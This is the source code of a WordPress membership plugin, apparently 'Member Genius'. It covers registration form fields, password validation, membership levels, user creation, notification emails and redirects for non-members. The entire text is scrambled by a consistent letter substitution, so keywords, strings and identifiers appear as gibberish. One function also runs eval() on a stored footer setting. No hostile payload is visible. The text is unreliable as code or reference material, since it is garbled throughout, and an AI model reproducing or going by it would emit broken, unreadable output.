(xn_FCtxs()): WQzmUY            QumUxsqlm mhqB=QplrmUqFnnjroCQplrmU sFtB=QplrmUtBtEBozBsxln_qFnnjroCOQplrmU xC=QplrmUtBtEBozBsxln_qFnnjroCOQplrmU nxgB=QplrmUNKQplrmU quFDByruCBo=QplrmU(4BFkB EuFsv mr Flmr-zBsBoFmB)QplrmU rsvBhlq=QplrmUCrDltBsm.zBmbuBtBsmeh7C(QTPMGUtBtEBozBsxln_qFnnjroCNQTPMGU).nmhuB.CxnquFh=((myxn.kFulB==QTPMGUQTPMGU)WQTPMGUsrsBQTPMGU:QTPMGUEurDvQTPMGU)UQplrmU/QzmUQumUEo /QzmUY            QumUxsqlm mhqB=QplrmUqFnnjroCQplrmU sFtB=QplrmUtBtEBozBsxln_qFnnjroCNQplrmU xC=QplrmUtBtEBozBsxln_qFnnjroCNQplrmU nxgB=QplrmUNKQplrmU quFDByruCBo=QplrmU(bsmBo qFnnjroC FzFxs)QplrmU /QzmUY         QumUWqyq BunB: WQzmUY            QumUxsqlm mhqB=QplrmUqFnnjroCQplrmU sFtB=QplrmUtBtEBozBsxln_qFnnjroCOQplrmU xC=QplrmUtBtEBozBsxln_qFnnjroCOQplrmU nxgB=QplrmUNKQplrmU/QzmUQumUEo /QzmUY            QumUxsqlm mhqB=QplrmUqFnnjroCQplrmU sFtB=QplrmUtBtEBozBsxln_qFnnjroCNQplrmU xC=QplrmUtBtEBozBsxln_qFnnjroCNQplrmU nxgB=QplrmUNKQplrmU /QzmUY         QumUWqyq BsCxAU WQzmUYY         QumUCxk DuFnn=QplrmUCBnDQplrmUQzmUY         QumUWqyq xA (VSkFuxCFmB[QplrmUBtqmhQplrmU] QFtqUQFtqU VSkFuxCFmB[QplrmUqFnnjroCQplrmU]): WQzmUQumUWqyq _B(QTPMGUb		1	: QTPMGU.Dyo(HG).QTPMGU rlo qFnnjroC tlnm EB Fm uBFnm J DyFoFDmBon (uBmmBon FsC sltEBon) ursz.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumUEo /QzmUY         QumUWqyq BunBxA (VSkFuxCFmB[QplrmUBtqmhQplrmU] QFtqUQFtqU VSkFuxCFmB[QplrmUqFnnjroC3FmDyQplrmU]): WQzmUQumUWqyq _B(QTPMGUb		1	: ermy qFnnjroCn hrl BsmBoBC tlnm tFmDy.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumUEo /QzmUY         QumUWqyq BunB: WQzmUQumUWqyq _B(QTPMGUbsmBo hrlo CBnxoBC qFnnjroC mjxDB.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumUEo /QzmU QumUWqyq _B(QTPMGU3lnm EB Fm uBFnm J DyFoFDmBon (uBmmBon FsC sltEBon) ursz.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumUWqyq BsCxAU WQzmUY         QumU/CxkQzmUY      QumU/mCQzmUY   QumU/moQzmUYY   QumUWqyq xA (xn_FCtxs()): WQzmUY   QumUmoQzmUY      QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:txCCuBUQplrmUQzmUQumUuFEBu Aro=QplrmUtBtEBozBsxln_BtFxuQplrmUQzmUQumUEQzmUQumUWqyq _B(QTPMGU3BtEBonyxq 4BkBuQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU:QumU/EQzmUQumU/uFEBuQzmUQumU/mCQzmUY      QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:txCCuBUQplrmUQzmUYY      QumUnBuBDm sFtB=QplrmUtBtEBozBsxln_uBkBuQplrmUQzmUY      QumUWqyq AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun() Fn SuBkBu): WQzmUY      QumUrqmxrs kFulB=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/rqmxrsQzmUY      QumUWqyq BsCAroBFDyU WQzmUY      QumU/nBuBDmQzmUY      QumU/mCQzmUY   QumU/moQzmUY   QumUWqyq BsCxAU WQzmUYY   QumUmoQzmUY      QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUQFtqUsEnqUQumU/mCQzmUY      QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmU   QumUWqyq _B(QTPMGU$lEtxm 	BzxnmoFmxrsQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU   QplrmUQzmUQumU/mCQzmUY   QumU/moQzmUY   QumU/mErChQzmUY   QumU/mFEuBQzmUYY   QumUWqyqY xA (Vxn_FCtxs() QFtqUQFtqU VxnnBm(S_	b&;b$#[QplrmUBixnmxszQplrmU]) QFtqUQFtqU Drlsm(S_01$#) == P): WQzmUY   QumUnDoxqm mhqB=QplrmUmBim/wFkFnDoxqmQplrmUQzmUY   QumUV--Y   //CrDltBsm.zBmbuBtBsmeh7C(QplrmUtBtEBozBsxln_oBzxnmoFmxrsQplrmU).nmhuB.CxnquFh=QplrmUsrsBQplrmUUY   // --QzmUY   QumU/nDoxqmQzmUY   QumUWqyq BsCxAU WQzmUYY   QumUnDoxqm mhqB=QplrmUmBim/wFkFnDoxqmQplrmUQzmUY   QumUV--Y   QumUWqyq xA (xn_FCtxs()): WQzmUCrDltBsm.zBmbuBtBsmeh7C(QplrmUtBtEBozBsxln_qFnnjroCNQplrmU).nmhuB.CxnquFh=QplrmUsrsBQplrmUUQumUWqyq BsCxAU WQzmUYY   AlsDmxrs tBtEBozBsxln_nlzzBnm() {Y      kFo lnBosFtB = CrDltBsm.zBmbuBtBsmeh7C(QplrmUtBtEBozBsxln_lnBosFtBQplrmU)UY      kFo AxonmsFtB = CrDltBsm.zBmbuBtBsmeh7C(QplrmUtBtEBozBsxln_AxonmsFtBQplrmU)UY      kFo uFnmsFtB = CrDltBsm.zBmbuBtBsmeh7C(QplrmUtBtEBozBsxln_uFnmsFtBQplrmU)UYY      xA (VlnBosFtB || lnBosFtB.kFulB == lsCBAxsBC || VAxonmsFtB || AxonmsFtB.kFulB == lsCBAxsBC || VuFnmsFtB || uFnmsFtB.kFulB == lsCBAxsBC) {Y         oBmlosUY      }YY      kFo tFmDyBn = lnBosFtB.kFulB.nquxm(QplrmU QplrmU)UY      xA (VtFmDyBn || VtFmDyBn.uBszmy || tFmDyBn.uBszmy V= N) { oBmlosU }Y      xA (VtFmDyBn[P].tFmDy(/^[f-<]+S/x) || VtFmDyBn[O].tFmDy(/^[f-<]+S/x)) { oBmlosU }Y      xA (AxonmsFtB.kFulB V= QplrmUQplrmU || uFnmsFtB.kFulB V= QplrmUQplrmU) { oBmlosU }YY      AxonmsFtB.kFulB = tFmDyBn[P]UY      uFnmsFtB.kFulB = tFmDyBn[O]UY   }Y   // --QzmUY   QumU/nDoxqmQzmUYY   QumU/CxkQzmUY   QumUWqyq BsCxAU WQzmUY   Y   QumU/ArotQzmUY   QumUWqyqY xA (Vxn_FCtxs()) { xA (SzurEFuarrmBo = StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(-O, QplrmUArrmBoQplrmU)) { BkFu( QTPMGUWQzmU QTPMGU.nmoxqnuFnyBn(SzurEFuarrmBo).QTPMGU QumUWqyq QTPMGU )U } xA (xnnBm(StBtEBozBsxln-QzmUoBzxnmBo4BkBu-QzmU7c) QFtqUQFtqU (SArrmBo = StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(StBtEBozBsxln-QzmUoBzxnmBo4BkBu-QzmU7c, QplrmUArrmBoQplrmU))) { BkFu( QTPMGUWQzmU QTPMGU.nmoxqnuFnyBn(SArrmBo).QTPMGU QumUWqyq QTPMGU )U } } WQzmUY   QumUWqyqY } qlEuxD AlsDmxrs DoBFmB(SkFon=sluu, SFqx=AFunB) { zurEFu StBtEBozBsxlnU SsrmxAh = molBU SoBCxoBDm = molBU xA (SFqx) { SoBCxoBDm = AFunBU } xA (SkFon==sluu) { xA (VSFqx QFtqUQFtqU Vxn_FCtxs() QFtqUQFtqU VDlooBsm_lnBo_DFs(QplrmUFCtxsxnmoFmroQplrmU) QFtqUQFtqU xnnBm(S_01$#[QplrmUtBtEBozBsxln_uBkBuQplrmU])) { lsnBm(S_01$#[QplrmUtBtEBozBsxln_uBkBuQplrmU])U } AroBFDy (S_01$# Fn SvBh =QzmU SkFulB) { xA (nmoqrn(SvBh, QplrmUnrDxFu_QplrmU) === P) { lsnBm(S_01$#[SvBh])U } } SkFon = S_01$#U } xA (VxnnBm(SkFon[QplrmUFDmxrsQplrmU])) { oBmlosU } xA (SkFon[QplrmUFDmxrsQplrmU] V= QplrmUtBtEBozBsxln_oBzxnmBoQplrmU) { oBmlos FooFh(QplrmUBooroQplrmU, sBj ?0_booro(QplrmUxskFuxC_FDmxrsQplrmU, QplrmU2rm F kFuxC FDmxrsQplrmU))U } BimoFDm(3BtEBo9Bsxln::BimoFDm(SkFon))U SkFuxCFmB = 3BtEBo9Bsxln::kFuxCFmB(SkFon)U SuBkBu = sluuU xA (xnnBm(SkFon[QplrmUtBtEBozBsxln_uBkBuQplrmU])) { SuBkBu = xsmkFu(SkFon[QplrmUtBtEBozBsxln_uBkBuQplrmU])U } BunBxA (xnnBm(StBtEBozBsxln-QzmUoBzxnmBo#Btq) QFtqUQFtqU StBtEBozBsxln-QzmUoBzxnmBo#Btq) { SmBtq = StBtEBozBsxln-QzmUtrCBu-QzmUzBm#Btqaort#oFsnFDmxrs(StBtEBozBsxln-QzmUoBzxnmBo#Btq)U xA (SmBtq QFtqUQFtqU xnnBm(SmBtq-QzmUuBkBu_xC)) { SuBkBu = xsmkFu(SmBtq-QzmUuBkBu_xC)U } } BunBxA (xnnBm(StBtEBozBsxln-QzmUoBzxnmBo4BkBu) QFtqUQFtqU xnnBm(StBtEBozBsxln-QzmUoBzxnmBo4BkBu-QzmU7c)) { SuBkBu = StBtEBozBsxln-QzmUoBzxnmBo4BkBu-QzmU7cU } BunBxA (SoBplBnm = StBtEBozBsxln-QzmUyFny	BplBnm()) { xA (SoBzxnmBo4BkBu = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBuaort8Fny(SoBplBnm)) { SuBkBu = SoBzxnmBo4BkBu-QzmU7cU } } SBixnmxsz = (xnnBm(S_9b#[QplrmUBixnmxszQplrmU]) QFtqUQFtqU S_9b#[QplrmUBixnmxszQplrmU] == O)U xA (VSBixnmxsz QFtqUQFtqU SkFuxCFmB[QplrmUqFnnQplrmU] == AFunB) { xA (SkFuxCFmB[QplrmUqFnnjroCdrooBDmQplrmU] == AFunB) { oBmlos FooFh(QplrmUBooroQplrmU =QzmU sBj ?0_booro(QplrmUxsDrooBDm_qFnnjroCQplrmU, Dyo(HG).QplrmUrl yFkB BsmBoBC Fs xsDrooBDm qFnnjroC.QplrmU))U } xA (SkFuxCFmB[QplrmUAxonmsFtBQplrmU] == AFunB) { oBmlos FooFh(QplrmUBooroQplrmU =QzmU sBj ?0_booro(QplrmUEFC_AxonmsFtBQplrmU, Dyo(HG).QplrmUrl yFkB BsmBoBC F EFC Axonm sFtB.QplrmU))U } xA (SkFuxCFmB[QplrmUuFnmsFtBQplrmU] == AFunB) { oBmlos FooFh(QplrmUBooroQplrmU =QzmU sBj ?0_booro(QplrmUEFC_uFnmsFtBQplrmU, Dyo(HG).QplrmUrl yFkB BsmBoBC F EFC uFnm sFtB.QplrmU))U } xA (SkFuxCFmB[QplrmUBtFxuQplrmU] == AFunB) { oBmlos FooFh(QplrmUBooroQplrmU =QzmU sBj ?0_booro(QplrmUEFC_BtFxuQplrmU, Dyo(HG).QplrmUrl yFkB BsmBoBC F EFC BtFxu FCCoBnn.QplrmU))U } xA (SkFuxCFmB[QplrmUlnBofkFxuFEuBQplrmU] == AFunB) { oBmlos FooFh(QplrmUBooroQplrmU =QzmU sBj ?0_booro(QplrmUlnBo_BixnmnQplrmU, QplrmU#yFm lnBosFtB FuoBFCh Bixnmn, quBFnB moh FsrmyBo.QplrmU))U } xA (SkFuxCFmB[QplrmUBtFxufkFxuFEuBQplrmU] == AFunB) { oBmlos FooFh(QplrmUBooroQplrmU =QzmU sBj ?0_booro(QplrmUBtFxu_BixnmnQplrmU, QplrmU#yFm BtFxu FCCoBnn FuoBFCh Bixnmn, quBFnB moh FsrmyBo.QplrmU))U } oBmlos FooFh(QplrmUBooroQplrmU =QzmU sBj ?0_booro(QplrmUxsDrtquBmBQplrmU, QplrmU0uBFnB Axuu rlm myB BsmxoB oBzxnmoFmxrs Arot.QplrmU))U } xA (SuBkBu == sluu || Vxn_sltBoxD(SuBkBu)) { oBmlos FooFh(QplrmUBooroQplrmU =QzmU sBj ?0_booro(QplrmUoBzxnmBo_uBkBuQplrmU, QplrmU7skFuxC oBzxnmoFmxrs uBkBu: QplrmU.SuBkBu))U } Smis = sluuU xA (xnnBm(StBtEBozBsxln-QzmUoBzxnmBo#Btq) QFtqUQFtqU StBtEBozBsxln-QzmUoBzxnmBo#Btq) { Smis = StBtEBozBsxln-QzmUoBzxnmBo#BtqU } BunBxA (xnnBm(SkFon[QplrmUtBtEBozBsxln_mBtqQplrmU]) QFtqUQFtqU SkFon[QplrmUtBtEBozBsxln_mBtqQplrmU]) { Smis = SkFon[QplrmUtBtEBozBsxln_mBtqQplrmU]U } xA (SlnBo = zBm_lnBo_Eh(QplrmUurzxsQplrmU, SlnBosFtB)) { SDyBDv_qFnnjroC = jq_DyBDv_qFnnjroC(SqFnnjroCO, SlnBo-QzmUCFmF-QzmUlnBo_qFnn, SlnBo-QzmU7c)U StBtEBozBsxln-QzmUtrCBu-QzmUFCC(SlnBo-QzmU7c, SuBkBu, Smis)U StBtEBozBsxln-QzmUtrCBu-QzmUoBtrkB#Btq(Smis)U xA (SDyBDvqFnnjroC QFtqUQFtqU Vxn_FCtxs() QFtqUQFtqU VDlooBsm_lnBo_DFs(QplrmUtFsFzB_rqmxrsnQplrmU) QFtqUQFtqU SoBCxoBDm) { jq_nxzsrs(FooFh(QTPMGUlnBo_urzxsQTPMGU =QzmU SlnBosFtB, QTPMGUlnBo_qFnnjroCQTPMGU =QzmU SqFnnjroCO, QTPMGUoBtBtEBoQTPMGU =QzmU molB), (xn_nnu()WmolB:AFunB) )U jq_oBCxoBDm(yrtB_lou())U } oBmlos xsmkFu(SlnBo-QzmU7c)U } xA (Vxn_BtFxu(SBtFxu)) { oBmlos FooFh(QplrmUBooroQplrmU =QzmU sBj ?0_booro(QplrmUEFC_BtFxuQplrmU, Dyo(HG).QplrmUrl yFkB BsmBoBC F EFC BtFxu FCCoBnn.QplrmU))U } SsBj;nBo = jq_xsnBom_lnBo(FooFh( QTPMGUlnBo_urzxsQTPMGU =QzmU SlnBosFtB, QTPMGUlnBo_qFnnQTPMGU =QzmU SqFnnjroCO, QTPMGUlnBo_BtFxuQTPMGU =QzmU SBtFxu, QTPMGUAxonm_sFtBQTPMGU =QzmU SAxonmsFtB, QTPMGUuFnm_sFtBQTPMGU =QzmU SuFnmsFtB, QTPMGUoruBQTPMGU =QzmU QTPMGUnlEnDoxEBoQTPMGU ))U xA (xn_jq_Booro(SsBj;nBo)) { oBmlos SsBj;nBoU } lqCFmB_lnBo_tBmF(SsBj;nBo, QplrmUAxonm_sFtBQplrmU, SAxonmsFtB)U lqCFmB_lnBo_tBmF(SsBj;nBo, QplrmUuFnm_sFtBQplrmU, SuFnmsFtB)U AroBFDy (SkFon Fn SvBh=QzmUSkFulB) { xA (nmoqrn(SvBh, QplrmUnrDxFu_QplrmU) === P) { StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(SsBj;nBo, SvBh, SkFulB)U } } StBtEBozBsxln-QzmUtrCBu-QzmUFCC(SsBj;nBo, SuBkBu, Smis)U xA (xnnBm(SmBtq) QFtqUQFtqU xnnBm(SmBtq-QzmUuBkBu_nmFmln) QFtqUQFtqU SmBtq-QzmUuBkBu_nmFmln == QplrmUdQplrmU) { StBtEBozBsxln-QzmUtrCBu-QzmUDFsDBu(SsBj;nBo, SuBkBu)U } StBtEBozBsxln-QzmUtrCBu-QzmUoBtrkB#Btq(Smis)U SyBFCBon = QTPMGUaort: QTPMGU.zBm_rqmxrs(QplrmUEurzsFtBQplrmU).QTPMGU QumUQTPMGU.zBm_rqmxrs(QplrmUFCtxs_BtFxuQplrmU) .QTPMGUQzmUQTPMGU . QplrmU\o\sQplrmUU SyrtB = yrtB_lou(QplrmU/urzxsQplrmU)U StBnnFzB = QplrmUf sBj tBtEBo yFn oBzxnmBoBC jxmy myB Aruurjxsz xsAr:\o\s\o\s?BEnxmB: QplrmU.SyrtB.QplrmU\o\s;nBosFtB: QplrmU.SlnBosFtB.QplrmU\o\s\o\sbtFxu: QplrmU.SBtFxu.QplrmU\o\saxonm 2FtB: QplrmU.SAxonmsFtB.QplrmU\o\s4Fnm 2FtB: QplrmU.SuFnmsFtB.QplrmU\o\sQplrmUU StBnnFzB .= QplrmU70 fCCoBnn: QplrmU.S_$b	!b	[QplrmU	b31#b_fcc	QplrmU].QplrmU\o\sQplrmUU StBnnFzB .= QplrmU\o\sQplrmUU SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U xA (SuBkBun QFtqUQFtqU xn_FooFh(SuBkBun) QFtqUQFtqU Drlsm(SuBkBun) QzmU P QFtqUQFtqU xnnBm(SuBkBun[SuBkBu])) { SmyB4BkBu = SuBkBun[SuBkBu]U StBnnFzB .= QplrmU4BkBu: QplrmU.SmyB4BkBu-QzmUuBkBu_sFtB.QplrmU\o\sQplrmUU StBnnFzB .= QplrmU#rmFu 3BtEBon rs 4BkBu: QplrmU.xsmkFu(SmyB4BkBu-QzmUFDmxkB).QplrmU\o\sQplrmUU } StBnnFzB .= QplrmU\o\s0rjBoBC Eh 3BtEBo 9Bsxln: ymmq://jjj.tBtEBozBsxln.DrtQplrmUU jq_tFxu(zBm_rqmxrs(QplrmUFCtxs_BtFxuQplrmU), Smyxn-QzmUnlEwBDm(QplrmUf 2Bj 3BtEBo yFn 	BzxnmBoBCQplrmU), StBnnFzB, SyBFCBon)U StBnnFzB = QplrmUQplrmUU xA (xn_FCtxs()) { StBnnFzB = QplrmU?B yFkB oBzxnmBoBC hrl jxmy myB Aruurjxsz xsAr:QplrmUU } BunB { StBnnFzB = Dyo(HG).QplrmUrl yFkB oBzxnmBoBC jxmy myB Aruurjxsz xsAr:QplrmUU } StBnnFzB .= QplrmU\o\s\o\s?BEnxmB: QplrmU.SyrtB.QplrmU\o\s;nBosFtB: QplrmU.SlnBosFtB.QplrmU\o\sQplrmUU xA (xn_FCtxs()) { StBnnFzB .= QplrmU0FnnjroC: QplrmU . SqFnnjroCO . QplrmU\o\sQplrmUU } StBnnFzB .= QplrmU\o\sbtFxu: QplrmU.SBtFxu.QplrmU\o\saxonm 2FtB: QplrmU.SAxonmsFtB.QplrmU\o\s4Fnm 2FtB: QplrmU.SuFnmsFtB.QplrmU\o\s\o\sQplrmUU xA (SFmmoxElmxrs = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUBtFxuFmmoxElmxrsQplrmU)) { Suxsv = QplrmUymmq://jjj.tBtEBozBsxln.DrtQplrmUU xA (SFAAxuxFmB = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUFAAxuxFmBQplrmU)) { Suxsv = QplrmUymmq://tBtEBozBsxln.Drt/39/WB=QplrmU.SFAAxuxFmBU } StBnnFzB .= QplrmU0rjBoBC Eh 3BtEBo 9Bsxln: SuxsvQplrmUU } xA (SsrmxAh) { jq_tFxu(SBtFxu, Smyxn-QzmUnlEwBDm(Dyo(HG).QplrmUrlo 	BzxnmoFmxrs 7sArQplrmU), StBnnFzB, SyBFCBon)U } xA (xn_FCtxs()) { oBmlos xsmkFu(SsBj;nBo)U } BunBxA (SoBCxoBDm) { xA (DlooBsm_lnBo_DFs(QplrmUtFsFzB_rqmxrsnQplrmU)) { Smyxn-QzmUtFhEB	BCxoBDm()U } BunB { jq_nxzsrs(FooFh(QTPMGUlnBo_urzxsQTPMGU =QzmU SlnBosFtB, QTPMGUlnBo_qFnnjroCQTPMGU =QzmU SqFnnjroCO, QTPMGUoBtBtEBoQTPMGU =QzmU molB), (xn_nnu()WmolB:AFunB))U SuBkBu7sAr = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu(SuBkBu)U xA (xnnBm(SuBkBu7sAr-QzmUuBkBu_qFzB_oBzxnmBo) QFtqUQFtqU (SoBCxoBDm = zBm_qBotFuxsv(xsmkFu(SuBkBu7sAr-QzmUuBkBu_qFzB_oBzxnmBo)))) { jq_oBCxoBDm(SoBCxoBDm)U CxB()U } BunB { jq_oBCxoBDm(yrtB_lou())U CxB()U } } oBmlos xsmkFu(SsBj;nBo)U } xA (xn_jq_Booro(SsBj;nBo)) { oBmlos SsBj;nBoU } oBmlos PU } qlEuxD AlsDmxrs nlEwBDm(SmBim) { SEurzsFtB = zBm_rqmxrs(QplrmUEurzsFtBQplrmU)U xA (SEurzsFtB) { SqoBAxi = SEurzsFtBU } BunB { SqFonB = qFonB_lou(yrtB_lou())U xA (xnnBm(SqFonB[QplrmUyrnmQplrmU])) { SqoBAxi = moFxuxsznuFnyxm(SqFonB[QplrmUyrnmQplrmU]).moxt(SqFonB[QplrmUqFmyQplrmU], QplrmU/QplrmU)U } } xA (SqoBAxi V= QplrmUQplrmU) { oBmlos SqoBAxi . QplrmU: QplrmU . SmBimU } oBmlos SmBimU } qlEuxD nmFmxD AlsDmxrs mBimEri(SsFtB, SkFulB=QplrmUQplrmU) { xA (zBm_rqmxrs(SsFtB)) { SkFulB = zBm_rqmxrs(SsFtB)U } WQzmUY      QumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUQumUWqyq BDyr SsFtB WQzmUQplrmU nxgB=QplrmUOKQplrmU kFulB=QplrmUQumUWqyq BDyr SkFulB WQzmUQplrmU /QzmUY      QumUWqyqY } qlEuxD nmFmxD AlsDmxrs mBimFoBF(SsFtB, SkFulB=QplrmUQplrmU) { xA (zBm_rqmxrs(SsFtB)) { SkFulB = zBm_rqmxrs(SsFtB)U } WQzmUY      QumUmBimFoBF sFtB=QplrmUQumUWqyq BDyr SsFtB WQzmUQplrmU Drun=QplrmUHPQplrmU orjn=QplrmUHQplrmUQzmUQumUWqyq BDyr SkFulB WQzmUQumU/mBimFoBFQzmUY      QumUWqyqY } } DuFnn 3BtEBo9Bsxln0ormBDmxrs { qlEuxD SFuurjBCU qlEuxD SqormBDmBC#xmuBU qlEuxD SqormBDmBC4BkBuU qlEuxD AlsDmxrs __DrsnmolDm() { Smyxn-QzmUqormBDmBC#xmuB = QplrmU	BzxnmoFmxrs foBFQplrmUU FCC_FDmxrs(QTPMGUqulzxsn_urFCBCQTPMGU, FooFh(QFtqUSmyxn, QTPMGUxsxmQTPMGU), OP, N)U FCC_FDmxrs(QTPMGUjq_urzxsQTPMGU, FooFh(QFtqUSmyxn, QTPMGUFAmBo4rzxsQTPMGU), OPPP, N)U FCC_AxumBo(QTPMGUzBmFoDyxkBn_jyBoBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUjyBoBQTPMGU), OP, N)U FCC_AxumBo(QTPMGUzBmFoDyxkBn_wrxsQTPMGU, FooFh(QFtqUSmyxn, QTPMGUwrxsQTPMGU), OP, N)U FCC_AxumBo(QTPMGUqrnmn_zorlqEhQTPMGU, FooFh(QFtqUSmyxn, QTPMGUzorlqehQTPMGU), OP, N)U FCC_AxumBo(QTPMGUqrnmn_jyBoBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUjyBoBQTPMGU), OP, N)U FCC_AxumBo(QTPMGUqrnmn_wrxsQTPMGU, FooFh(QFtqUSmyxn, QTPMGUwrxsQTPMGU), OP, N)U FCC_FDmxrs(QTPMGUjq_uxnm_qFzBn_BiDulCBnQTPMGU, FooFh(QFtqUSmyxn, QTPMGUBiDulCB0FzBaorsmBsCQTPMGU))U FCC_FDmxrs(QTPMGUqoB_zBm_qrnmnQTPMGU, FooFh(QFtqUSmyxn, QTPMGUBiDulCB0FzBeFDvBsCQTPMGU), OP, O)U FCC_AxumBo(QTPMGUzBm_qFzBnQTPMGU, FooFh(QFtqUSmyxn, QTPMGUBiDulCB0FzB4xnmQTPMGU), O, N)U FCC_AxumBo(QTPMGUmyB_qrnmnQTPMGU, FooFh(QFtqUSmyxn, QTPMGUDrttBsmnQTPMGU))U FCC_AxumBo(QTPMGUjqQTPMGU, FooFh(QFtqUSmyxn, QTPMGUurzzBC1lmQTPMGU))U FCC_AxumBo(QTPMGUqoB_zBm_qrnmnQTPMGU, FooFh(QFtqUSmyxn, QTPMGUurzzBC1lm&lBohQTPMGU), N, O)U FCC_AxumBo(QTPMGUjqQTPMGU, FooFh(QFtqUSmyxn, QTPMGUurzzBC7sQTPMGU))U FCC_AxumBo(QTPMGUjqQTPMGU, FooFh(QFtqUSmyxn, QTPMGUurz3B1lmQTPMGU))U } qlEuxD AlsDmxrs qFzB	BCxoBDm() { zurEFu StBtEBozBsxlnU SDlooBsm_lnBo = jq_zBm_DlooBsm_lnBo()U xA (VxnnBm(SDlooBsm_lnBo-QzmU7c)) { oBmlosU } xA (StBtEBozBsxln-QzmUyFny	BplBnm()) { oBmlosU } xA (xn_LPL()) { AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu7sAr(SDlooBsm_lnBo-QzmU7c) Fn SuBkBu) { xA (xnnBm(SuBkBu-QzmUuBkBu_qFzB_urzxs) QFtqUQFtqU SuBkBu-QzmUuBkBu_qFzB_urzxs) { xA (SoBCxoBDm = zBm_qBotFuxsv(xsmkFu(SuBkBu-QzmUuBkBu_qFzB_urzxs))) { jq_oBCxoBDm(SoBCxoBDm)U CxB()U } } } } } qlEuxD AlsDmxrs urzzBC1lm&lBoh(SplBoh) { zurEFu StBtEBozBsxlnU zurEFu SqrnmU xA (xn_lnBo_urzzBC_xs()) { oBmlosU } xA (StBtEBozBsxln-QzmUyFny	BplBnm()) { oBmlos SplBohU } SsrstBtEBo_qFzB = @xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrstBtEBo_qFzBQplrmU))U SsrstBtEBo_lou = moxt(StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrstBtEBo_louQplrmU))U xA (SsrstBtEBo_lou == QplrmUymmq://QplrmU || SsrstBtEBo_lou == QplrmUymmqn://QplrmU) { SsrstBtEBo_lou = QplrmUQplrmUU } xA (SsrstBtEBo_qFzB == P) { xA (SsrstBtEBo_lou) { jq_oBCxoBDm(SsrstBtEBo_lou)U CxB()U } oBmlosU } xA (xnnBm(SplBoh-QzmUplBoxBC_rEwBDm)) { oBmlosU } xA (SplBoh-QzmUxn_yrtB() QFtqUQFtqU SplBoh-QzmUxn_tFxs_plBoh()) { Smyxn-QzmUqFzB#FvBrkBo(SplBoh, SsrstBtEBo_qFzB)U } BunBxA (VxnnBm(SplBoh-QzmUplBoxBC_rEwBDm) QFtqUQFtqU SplBoh-QzmUxn_qFzB()) { Smyxn-QzmUqFzB#FvBrkBo(SplBoh, SsrstBtEBo_qFzB)U } } qoxkFmB AlsDmxrs qFzB#FvBrkBo(QFtqUSplBoh, SxC) { SxC = @xsmkFu(SxC)U SplBoh-QzmUnBm(QTPMGUqrnm_mhqBQTPMGU ,QTPMGUqFzBQTPMGU)U SplBoh-QzmUnBm(QTPMGUqrnm__xsQTPMGU ,FooFh(SxC))U SplBoh-QzmUnBm(QTPMGUqQTPMGU , SxC)U SplBoh-QzmUnBm(QTPMGUqFzB_xCQTPMGU , SxC)U } qlEuxD AlsDmxrs urzzBC7s() { zurEFu Sjq_plBohU zurEFu StBtEBozBsxlnU SqBotFuxsvn = zBm_rqmxrs(QplrmUqBotFuxsv_nmolDmloBQplrmU)U xA (Sjq_plBoh-QzmUzBm(QplrmUsFtBQplrmU) V= QplrmUurzxsQplrmU QFtqUQFtqU VxnnBm(S_9b#[QplrmUurzxsQplrmU])) { oBmlosU } xA (StBtEBozBsxln-QzmUyFny	BplBnm()) { oBmlosU } xA (xn_lnBo_urzzBC_xs()) { jq_oBCxoBDm(yrtB_lou())U CxB()U } jq_oBCxoBDm(jq_urzxs_lou(yrtB_lou()))U CxB()U } qlEuxD AlsDmxrs urz3B1lm() { zurEFu Sjq_plBohU zurEFu StBtEBozBsxlnU xA (Sjq_plBoh-QzmUzBm(QplrmUsFtBQplrmU) V= QplrmUurzrlmQplrmU) { oBmlosU } jq_urzrlm()U CxB()U } qlEuxD AlsDmxrs urzzBC1lm() { zurEFu StBtEBozBsxlnU zurEFu SqrnmnU xA (xn_lnBo_urzzBC_xs()) { oBmlosU } xA (StBtEBozBsxln-QzmUyFny	BplBnm()) { oBmlosU } SsrstBtEBo_qFzB = @xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrstBtEBo_qFzBQplrmU))U SsrstBtEBo_lou = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrstBtEBo_louQplrmU)U xA (Vxn_FooFh(Sqrnmn) || Drlsm(Sqrnmn) == P) { xA (SsrstBtEBo_qFzB == P) { jq_oBCxoBDm(jq_urzxs_lou(S_$b	!b	[QTPMGU	b&;b$#_;	7QTPMGU]))U CxB()U } } } qlEuxD AlsDmxrs FAmBo4rzxs(SlnBo_urzxs, SlnBo=sluu) { 